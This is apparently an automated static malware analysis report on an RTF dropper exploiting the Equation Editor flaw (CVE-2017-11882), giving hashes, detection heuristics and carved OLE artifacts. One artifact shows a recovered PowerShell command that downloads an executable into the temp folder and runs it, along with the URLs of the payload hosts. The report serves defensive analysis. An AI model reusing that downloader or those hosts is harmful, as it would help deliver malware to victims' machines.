Malicious RTF — malware analysis report

Static analysis result for SHA-256 d5f72d16015ba479…

MALICIOUS

RTF

74.9 KB First seen: 2022-06-20
MD5: 7fce0138105269ef55ab84dad7eb58df SHA-1: a24e25e5f3c125300dfe1d5aa416b13d77c48e82 SHA-256: d5f72d16015ba479d1200f68515efb1602622b3b1bcab6dbda633e63caca82ee
262 Risk Score

Heuristics 7

  • Equation Editor CLSID critical CVE likely RTF_EQUATION_EDITOR
    Equation Editor OLE CLSID found inside an OLE object — exploited by CVE-2017-11882 / CVE-2018-0802 / CVE-2018-0798
  • ClamAV: Rtf.Dropper.Agent-7076680-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Dropper.Agent-7076680-0
  • Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • OLE object data medium RTF_OBJDATA
    RTF contains 4 \objdata section(s) — embedded OLE objects
  • OlePres presentation stream in RTF OLE object medium RTF_OLEPRES_STREAM
    RTF contains an embedded OLE object with an OlePres presentation stream. OlePres is an OLE presentation marker and is not enough on its own to identify CVE-2025-21298.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://chimachinenow.com/kopores.bin In RTF body
    • http://interbanx.co.id/kopores.binIn RTF body
    • http://interbanx.coIn RTF body
    • http://ns.adobe.com/xap/1.0/In RTF body
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In RTF body
    • http://purl.org/dc/elements/1.1/In RTF body
    • http://ns.adobe.com/xap/1.0/g/img/In RTF body
    • http://ns.adobe.com/xap/1.0/mm/In RTF body
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In RTF body
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In RTF body
    • http://ns.adobe.com/illustrator/1.0/In RTF body
    • http://ns.adobe.com/pdf/1.3/In RTF body

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off0000b0c2.bin rtf-objdata-decoded RTF \objdata at offset 0xB0C2 377 bytes
SHA-256: 9f9df4f20bf46ffe79f02ef9500bcd656d2853d076bd9955c086799dc82c74b0
objdata_01_off0000cf83.bin rtf-objdata-decoded RTF \objdata at offset 0xCF83 471 bytes
SHA-256: 45227aec8641c257ea040d8afe2e51f29cf398db93c3f90c7f3d60a2e2afed5e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered URL(s): http://chimachinenow.com/kopores.bin, http://interbanx.co Static shellcode analysis recovered command string(s): PowerShell ""function murz1986([String] $Kaizoku7){(New-Object System.Net.WebClient).DownloadFile($Kaizoku7,'%TEMP%\NIKTUGIS.exe');Start-Process '%TEMP%\NIKTUGIS.exe';}tr
objdata_02_off0000db5c.bin rtf-objdata-decoded RTF \objdata at offset 0xDB5C 4681 bytes
SHA-256: 2739ee55bfe1b2a7508c33fd0cfd32fd82a891d81959369110cce62e729ae09e

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